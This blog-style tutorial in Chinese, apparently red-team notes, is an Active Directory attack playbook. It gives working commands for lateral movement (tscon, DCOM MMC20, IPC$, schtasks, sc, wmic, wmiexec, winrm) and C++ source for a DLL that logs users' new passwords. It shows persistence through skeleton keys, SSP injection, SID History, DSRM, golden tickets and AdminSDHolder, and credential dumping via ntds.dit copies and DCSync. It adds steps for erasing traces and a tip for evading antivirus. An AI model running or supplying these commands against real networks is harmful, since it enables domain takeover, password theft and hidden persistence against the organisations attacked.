一股脑设置好就完事了。。(用户需重新登陆才生效)

然后开始获取密码

我们刚刚提到需要两台电脑才能获取密码,其实那只是一个模型,一个机器既可以当作客户端又可以当作服务端的。 我们用kekeo实现攻击(本机向本机获取密码时,普通用户即可完成以下操作)

代码语言:javascript复制
tsssp::server 开启服务端
tsssp::client /target:...   开启客户端,这里的target随便填

那么再回到需要两个机器,一个当服务端一个当客户端的情况吧。

服务端建立: tsssp::server 需要SYSTEM权限

客户端链接: tsssp::client /target:服务端的SPN(一般采用TERMSRV服务) /pipe: 服务端域名pipekekeo_tsssp_endpoint 普通用户权限即可

tscon横向

若一个机器上有多个用户登录,则在任务管理器可以看见如下场面

其中,我们可以右键其他用户选择链接,输入其密码后就能进入其桌面

但是对于system用户来说,要链接到其他用户是不需要输入密码的,可以直接连接。所以我们可以通过system权限获取登录在当前机器上的域用户权限。 比如上图中的administrator是域管,我有当前机器的system权限,那么我可以直接用以下命令完成用户权限获得。

query user 获得administrator用户的id

可以发现admin的id是2,那么我们就可以用tscon这个windows自带的命令行工具完成权限获得。

cmd /k tscon 2 /dest:console

执行以上命令,我们跳转到了admin的桌面

利用COM/DCOM对象

参考:https://www.freebuf.com/articles/network/256372.html

前言

DCOM是COM的扩展,允许应用程序实例化和访问远程计算机上的COM对象。 这里简要说一下几个有关COM的概念

CLSID:又叫CLASSID 一个COM类的唯一标识符,每一个Windows注册类与一个CLSID相关联。长得像这样 {20D04FE0-3AEA-1069-A2D8-08002B30309D}

ProgID:其可被用作对用户更友好的替代的一个CLSID,比如MMC20.APPLICATION.1就是一个ProgID。ProgID不能保证是唯一的,并非每个类都与ProgID相关联

Appid: 为了保证COM对象能被顺利的远程调用(即为了使DCOM可访问COM对象),需要把APPID与该类的CLSID相关联,且AppID需设置权限来规划哪些客户端能够访问

我们可以通过powershell执行get-CimInstance 来列出本地COM程序列表

远程DCOM对象实例化的流程:

代码语言:javascript复制
客户端从远程计算机请求实例化由CLSID表示的对象。如果客户端使用ProgID则先将其本地解析为CLSID。
远程计算机检查是否存在由该CLSID所关联的AppID,并验证客户端的权限。
DCOMLaunch服务将创建所请求的类的实例,通常是通过运行LocalServer32子项的可执行文件,或者通过创建DllHost进程来承载InProcServer32子项引用的dll。
客户端应用程序和服务器进程间建立通信,客户端便可以访问新创建的对象。

MMC20.APPLICATION.1

中文名为: Microsoft管理控制台(MMC)2.0包括脚本对象模型。 我们一步步抽丝剥茧跟踪一下这个对象的利用点,需要注意的一点是调用该对象必须要有管理员权限。

如上图,我们先列出在MMC20.APPLICATION中的模块,然后继续列出其中Document中的属性,再继续列出Document.ActiveView中的属性。可以发现一个名为ExecuteShellCommand的方法,光是听名字就知道是可以执行shell命令的方法了。到微软文档查一查这个方法,获得了以下信息。

代码语言:javascript复制
ExecuteShellCommand([命令][目录][叁数][窗口状态])
命令
一个值,指定要执行的命令。可以指定标准路径。Command中包含的所有环境变量(例如“%windir%”)都将被扩展。

目录
一个值,用于指定工作目录的名称。Directory中包含的所有环境变量都将被扩展。如果“目录”为空字符串,则将当前目录用作工作目录。

参数
一个指定Command要使用的参数(如果有)的值;参数必须用空格分隔。例如,将参数指定为“ Param1 Param2”会导致Command接收Param1和Param2作为参数。如果要求单个参数用双引号引起来,请使用适合您的编程语言的技术。例如,在Microsoft Visual Basic中,将参数指定为“ Param1”“这是Param2”“”导致命令接收到参数1和“这是Param2”。

窗口状态
一个指定窗口状态的值。该值可以是以下字符串值之一,也可以是空字符串。如果为空字符串,则默认为“已恢复”。

“Maximized”
该命令在最大化的窗口中执行。

“Minimized”
该命令在最小化的窗口中执行。

“Restored”
该命令在已恢复或正常的窗口中执行。注意:这里会弹个黑框框

返回值
此方法不返回值。

于是乎,我们就能理所应当的想到这个东西可以被用于本地任意命令执行,就像这样

代码语言:javascript复制
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored") 

我们进一步发掘其横向移动的能力

我们知道DCOM具有通过网络与对象进行交互的能力,在我们是管理员的前提下我们可以使用GetTypeFromProgID()与powershell进行DCOM远程交互。 GetTypeFromProgID(“COM”,”远程ip”) 即可指定与哪一个远程IP进行交互。所以我们可以把payload改造成这样,进而可以在其他机器上进行任意命令执行,从而达到横向移动的目的

代码语言:javascript复制
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,“远程ip”)).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c calc.exe","Restored")

ipc

ipc简介

IPC$是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,即能建立链接,达到访问远程计算机的目的。ipc共享连接成功后一般能共享所有共享盘符。(也就是IPC连接后可以远程共享C$,D$等)

利用这个链接不仅可以访问目标机器中的文件,进行上传下载等操作,还能在目标机器上执行部分命令。

代码语言:javascript复制
net use \ipipc$ "password" /user:username

如果账户和口令正确,就建立好了链接。

建立好链接后就能执行以下命令

代码语言:javascript复制
dir \192.168.183.130c$ 列出C盘
copy C:UsersdouserDesktopwhoami.txt \192.168.183.130c$ 上传文件
tasklist /S 192.168.183.130 /U administrator /P liu78963 列出某IP上的进程信息,/U指定哪个用户执行该命令,/p指定该用户密码
net use \IP /del /y 删除链接
net use 查看已建立的ipc链接

利用ipc横向移动

at
代码语言:javascript复制
at \192.168.183.130 17:05:00 cmd.exe /c "<命令>"
at \192.168.183.130 17:05:00 powershell.exe -c "<命令>"

关于时间的获得,可以使用 net time \IP 获得。

计划任务执行后需要删除,不留痕迹

代码语言:javascript复制
at \192.168.183.130 1 /delete  //1为任务的ID

关于此方法我们可以先通过copy上传恶意文件然后通过at来执行它,或者直接通过powershell远程加载上线等

schtasks

at命令已经被Windows Vista、Windows Server 2008及之后版本的操作系统废弃了,取而代之的是schtasks命令。

横向移动的大致思路与at差不多。

代码语言:javascript复制
在目标主机上创建一个名称为“backdoor”的计划任务。该计划任务每分钟启动一次,启动程序为我们之前到C盘下的shell.exe,启动权限为system。
schtasks /create /s 192.168.183.130 /tn backdoor /sc minute /mo 1  /tr c:shell.exe /ru system /f 

但也有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问,遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码 
schtasks /create /s 192.168.183.130 /u username /p password /tn backdoor /sc minute /mo 1 /tr c:shell.exe /ru system /f

另外,在我们创建好计划任务后,可以通过下列指令立即让计划任务执行(如果拒绝访问的话就加上/u /p参数)
schtasks /run /s 192.168.183.130 /i /tn backdoor  // i:忽略任何限制立即运行任务

计划任务执行后需要清理痕迹
schtasks /delete /s 192.168.183.130 /tn "backdoor" /f
sc

这个命令可以操控服务。

代码语言:javascript复制
sc \[主机名/IP] create [servicename] binpath= "[path]"   #创建服务,其中binpath可以是某个exe文件的路径,也可以是一段指令。当为路径时,服务启动时会自动执行该exe文件,当为指令时,服务启动时会自动执行该指令
sc \[host] start [servicename] 启动某个服务
sc \[host] delete [servicename]   #删除服务

wmi

从Windows 98开始,Windows操作系统都支持WMI。WMI是由一系列工具集组成的,可以通过/node选项使用端口135上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。并且wimc执行命令时不会留下日志信息。

通过wmic在远程主机上开启进程

代码语言:javascript复制
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "command"

wmiexec

通过wmic创建远程进程时,不会有回显,需要通过ipc$链接type,重定向等手段才能看到回显结果,就很不方便,wmicexec的出现就很好的解决了这一痛点。具体原理是通过wmic在135端口进行交互,再把内容通过445端口传回来。

wmiexec普遍来说有三种版本.py,exe,.vbs。可以走socks5协议代入内网,杜绝了bypassav的麻烦。 (exe版本网上似乎很不好找) 这里用python版本,下载链接https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_22, impacket按照网上安装来弄就行了 1.环境linux,我们配置好proxychanis代入内网(略 2.proxychains wmiexec.py 域名/用户名:密码@ip 获得shell 3.也可以进行hash传递 python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP

效果图

winrm

​ winRm(微软远程管理)是WS-Management协议的实现组件。WinRM是windows操作系统的一部分。是一项允许管理员在系统上远程执行管理任务的服务。通信通过HTTP(5985)或HTTPS SOAP(5986)执行,默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。 你需要管理员身份才能使用它。 ​ 适用版本:适用于 Win server 2008 / Win7 及以后的系统,但是 Win server 2008 / PC 全版本系统默认关闭。只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。

我们可以通过如下powershell命令查看机器上的winrm是否正常运行

代码语言:javascript复制
Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

若没开启,你可以在管理员权限下执行以下指令开启

代码语言:javascript复制
winrm quickconfig -q
or
Enable-PSRemoting -Force

远程命令执行

代码语言:javascript复制
winrs -r:192.168.86.114 -u:192.168.86.114administrator -p:123456!@#$% whoami

利用组策略

读取脚本中的密码

假设域管想通过组策略来修改用户密码,如果他不使用GPP,那么他只有通过GPO配合脚本下发的方式来修改用户密码。

这种脚本可能会长得像这样

代码语言:javascript复制
strComputer = "."
Set objUser = GetObject("WinNT://" & strComputer & "/Administrator, user")
objUser.SetPassword "123QWEQWE!@#"
objUser.SetInfo

保存这个脚本为cpass.vbs,这个脚本的作用就是修改本地管理员账户的密码为

代码语言:javascript复制
123QWEQWE!@#

然后通过GPO下发此脚本,该脚本就会被保存于SYSVOL文件夹中。 又因为域中任何用户都可以读取SYSVOL文件夹中内容,所以我们指不定就会翻到这种暴露明文密码的脚本。

代码语言:javascript复制
for /r \dc/sysvol %i in (*.vbs) do @echo %i
for /r \dc/sysvol %i in (*.bat) do @echo %i

批量密码

域管可能会用组策略批量修改域中用户密码(特别是本地管理员)。所以拿到一个本地管理员密码后不妨试试密码复用,指不定就有惊喜

域管权限维持

Hook PasswordChangeNotify

原理:当用户修改密码时会输入明文密码,LSA会调用PasswordChangeNotify 在系统中同步密码。我们HOOK这个函数,改变其行为,就能达到获取用户修改后的密码的明文.

Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1 (用于注入) https://github.com/PowerShellMafia/PowerSploit 以及 https://github.com/clymb3r/Misc-Windows-Hacking 的HookPasswordChange.dll(需自行编译)

代码语言:javascript复制
Import-Module .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

执行如上命令,只要修改了用户的密码,修改后的明文密码就会记录在 C:WindowsTemppasswords.txt 文件中。

下面我们分析一下原理

当密码改变请求发生时,LSA会调用Password Filters。每一个password filter会先验证新密码的合法性和复杂度,然后LSA会发出请求已更改的信号。

该过程由 password notification DLL 完成。所以我们只需要劫持这个DLL,把它换成我们自定义的DLL即可达到目的。 这种方式一般在Server服务器上利用率较高 通常来说,这个dll文件的在注册表中的路径是 hklmsystemcurrentcontrolsetcontrollsa的 notification packages表项。

我们要利用该方法,首先要确保密码策略已启用

至于命令行怎么修改。可以这样

代码语言:javascript复制
secedit /export /cfg gp.inf /quiet   将组策略导出为文件
在该文件里将PasswordComplexity项值修改为1
然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库
刷新组策略: gpupdate/force
重启后生效

下面我们构造dll文件去覆盖它。

首先我们的dll文件内容如下。

代码语言:javascript复制
#include<Windows.h>
#include<NTSecAPI.h>
#include <fstream>

extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
	OutputDebugString(L"InitializeChangeNotify");
	return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
{
	OutputDebugString(L"PasswordFilter");
	return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)
{
	FILE *pFile;
	fopen_s(&pFile, "C:\logFile.txt", "a ");
	fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
	return 0;
}

然后把这个dll文件放入system32文件,然后修改注册表,使 hklmsystemcurrentcontrolsetcontrollsa的 notification packages表项包括我们的恶意dll文件,具体命令行操作如下

代码语言:javascript复制
REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f

重启后生效。无奈的是我把dll文件写出来了且确保是正确的,在win7和win2012上复现均失败,网上成功的例子是win2008server,可惜我并没有这个版本的虚拟机不过原理倒是懂了

万能密码

运用mimkatz可以在域控机上对所有用户添加一个统一密码用来登录.

代码语言:javascript复制
mimikatz# privilege::debug
mimikatz# misc::skeleton

然后所有用户都能用密码 mimiaktz登陆了

SSP注入

ssp:一个DLL文件,用来实现Windows身份验证功能,比如kerberos,ntlm。系统启动时SSP会被自动加载入lsass.exe sspi:SSP的API接口

如果我们自定义个恶意dll文件让他在系统启动时自动加载到lsass.exe,就能得到进程中的明文密码

临时性注入(重启便失效)

代码语言:javascript复制
mimikatz# privilege::debug
mimiaktz# misc::memssp

执行如上命令, 然后只要目标机器不重启,在目标机器上登录的用户名和密码将会被记录在 C:WindowsSystem32mimilsa.log 文件中。

长期性注入(重启不失效)

把 mimikatz中的mimilib.dll放到系统的C:WindowsSystem32 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。

修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,加载新的DLL文件

用户在登录时输入的账号密码将会被记录在 C:WindowsSystem32kiwissp.log

SID History后门

sid history:当我们把域A的用户x迁移到域B时,B域中x的sid会发生改变,随即而来的是权限也会发生改变。所以为了避免这种权限改变,sid history诞生了, 系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。

在域控上

代码语言:javascript复制
privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性

然后可以在域控上验证其sid history是否更改成功

代码语言:javascript复制
Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory

可以发现现在是有SIDHistory属性了。而且末尾的500预示着ADMIN权限

DSRM后门

DSRM账号:每个域控上都有一个本地管理员账户也就是DSRM账户,用于在域环境出现故障时本地登录进行修复.可以利用这个账户进行持久化操作。( 如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化操作。 )

我们先设置DSRM密码 域控上输入ntdsutil 然后输入reset password on server null 然后键入密码,最后按q退出即可

在mimikatz中dump本地hash可以看到多出来个Administrator

然后设置DSRM登陆方式 DSRM登陆方式有三种分别对应123.

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器

我们需要将他改成2才行。powershell执行

代码语言:javascript复制
New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

即可.然后直接psexec登录(这里用的是cs)

注意填Realm时要填上面dump出sam时的域名(这里是DC)

委派后门

这个很简单,利用约束性委派或者基于资源的约束性委派攻击得到的ST2保存起来,或者非约束性委派得到的TGT,要用的时候加载进内存就行了

黄金票据生成

代码语言:javascript复制
#提权
privilege::debug
 
#生成黄金票据并导入
kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt

AdminSDHolder

AdminSDHolder是一个特殊容器,用作受保护用户或组的ACM模板。AD定期把 AdminSDHolder对象的ACL 应用到所有受保护用户或组上,防止其被有意或故意修改。 如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法 。

如何寻找受保护用户或组:

受保护用户或组的 AdminCount属性为1 。 但是,如果对象已移出受保护组,其AdminCount属性仍为1,也就是说,有可能获得曾经是受保护组的帐户和组 。

使用powerview.ps1Get-NetUser -AdminCount即可获得受保护用户 Get-NetGroup -AdminCount即可获得受保护组

如何修改ADMINSDHOLDER的ACL

域管执行以下命令(powerview.ps1)

代码语言:javascript复制
Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权

然后默认等60分钟,待ADMINSDHOLDER生效后,xx就获得所有受保护对象的完全控制权了

Ntds.dit

“Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%ntdsntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。”——FREEBUF.whoami《内网渗透测试:从NTDS.dit获取域散列值》 插个题外话:非域的工作组主机其密码等信息存储在SAM中。

我们获取了域控后一般第一步便是导出Ntds.dit中的信息,怎么导出呢?

利用VSS导出

VSS全称为Volume Shadow Copy Service,卷影拷贝服务,属于快照技术的一种,主要用于备份和恢复,即使文件处于被锁定状态。

其获取NTDS.DIT的基本步骤为:

创建目标主机所有文件的卷影拷贝。 在创建的卷影拷贝中复制出NTDS.DIT。 删除卷影拷贝。

VSSADMIN

vssadmin是windows上一个命令行卷影拷贝服务管理工具。其适用于: Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008

其导出NTDS.DIT的方法如下

创建一个C盘的卷影拷贝

代码语言:javascript复制
vssadmin create shadow /for=c:

然后将卷影中的ntds.dit复制出来

代码语言:javascript复制
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowsntdsntds.dit C:ntds.dit

然后删除卷影

代码语言:javascript复制
vssadmin delete shadows /for=c: /quiet
Ntdsutil.exe

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,该工具被默认安装在了域控制器上,可以在域控上直接操作,也可以通过域内机器在域控上远程操作,但是需要管理员权限。

为WINDOWS上所有文件创建快照

代码语言:javascript复制
ntdsutil snapshot "activate instance ntds" create quit quit

我们得到了个快照的ID,接下来我们就需要加载这个卷影到我们的磁盘中

代码语言:javascript复制
ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit

执行后就会发现这个快照加载到了C盘下(这里dir看到的NTDS.DIT与本次实验无关,是上次实验残留下来没删的)

然后将ntds.dit复制出来

代码语言:javascript复制
copy c:$SNAP_202107291703_VOLUMEC$WindowsNTDSntds.dit c:ntds.dit

然后删除快照

代码语言:javascript复制
ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" "delete {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit

同时,NTDSUTIL还有一个更加便捷的导出ntds.dit的方法:通过IFM IFM中文叫媒体安装集,在我们通过NTDSUTIL来创建媒体安装集时,会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作,需管理员权限。

代码语言:javascript复制
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q 

然后在C:testActive Directoryntds.dit,就是NTDS.DIT,我们复制出来就行了。 然后再把test文件夹删除即可。

解析NTDS.DIT

在提取NTDS.DIT后,我们需要再提取一个文件system.hive,因为system.hive中存放着NTDS.DIT的密钥,有了它我们才能解析NTDS.DIT。

可以用刚刚提到的VSS方法获取,也可以直接用以下命令从注册表中拉取.

代码语言:javascript复制
reg save hklmsystem c:system.hive
Impacket

impacket框架集成了许多好玩的东西,他其中的secretdump.py脚本实现了解析ntds.dit的功能

直接再impacket的example下

代码语言:javascript复制
python .secretsdump.py -system .system.hive -ntds .ntds.dit local

远程解析

DCSYNC

“DCSync是Mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,其能够利用卷影拷贝服务直接读取ndts.dit并导出域内所有用户的哈希值。需要管理员权限。”

这个东西 可以实现不登录到域控而获取域控上的数据 获得以下权限就可以使用了

  • Administrators组内的用户
  • Domain Admins组内的用户
  • Enterprise Admins组内的用户
  • 域控制器的计算机帐户

然后在mimikatz里 privilege::debug lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可

想获取全部hash也可以lsadump::dcsync /domain:xxx.com /all /csv

然后我们就可以通过krbtgt hash制作黄金票据登录administrator。 如果还想隐蔽一点,可以给普通用户添加如下ACE,使其获得dcsync权限

  • DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

可以以管理员权限运行powerview.ps1完成以上操作

代码语言:javascript复制
#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose
 
#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

然后普通用户也可以用mimikatz调用dcsync导出hash了

DCSYNC的powershell实现

mimikatz免杀过不去的话可以试试这个https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1

代码语言:javascript复制
Import-Module .Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize    // 导出域内所有用户的hash

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize      // 导出域内administrator账户的hash

我这里WIN10域控打不通,不知道为啥

配合EXCHANGE用户达到域提权目的

前提:一个exchange高权限组的用户控制权,一个机器账户

exchange安装后会在AD上生成两个容器

其中exchange windows permissions组的用户拥有writeDACL权限, Exchange Trusted Subsystem 是 Exchange Windows Permission 的成员,能继承writedacl权限,有这个权限后就能使用dcsync导出所有用户hash。 其中exchange trusted subsystem组甚至可能有继承自administrators组的权限。

假设我们已经拿到了exchange trusted subsystem中一个用户的控制权。 那么就可用dysync进行权限维持了

0 人点赞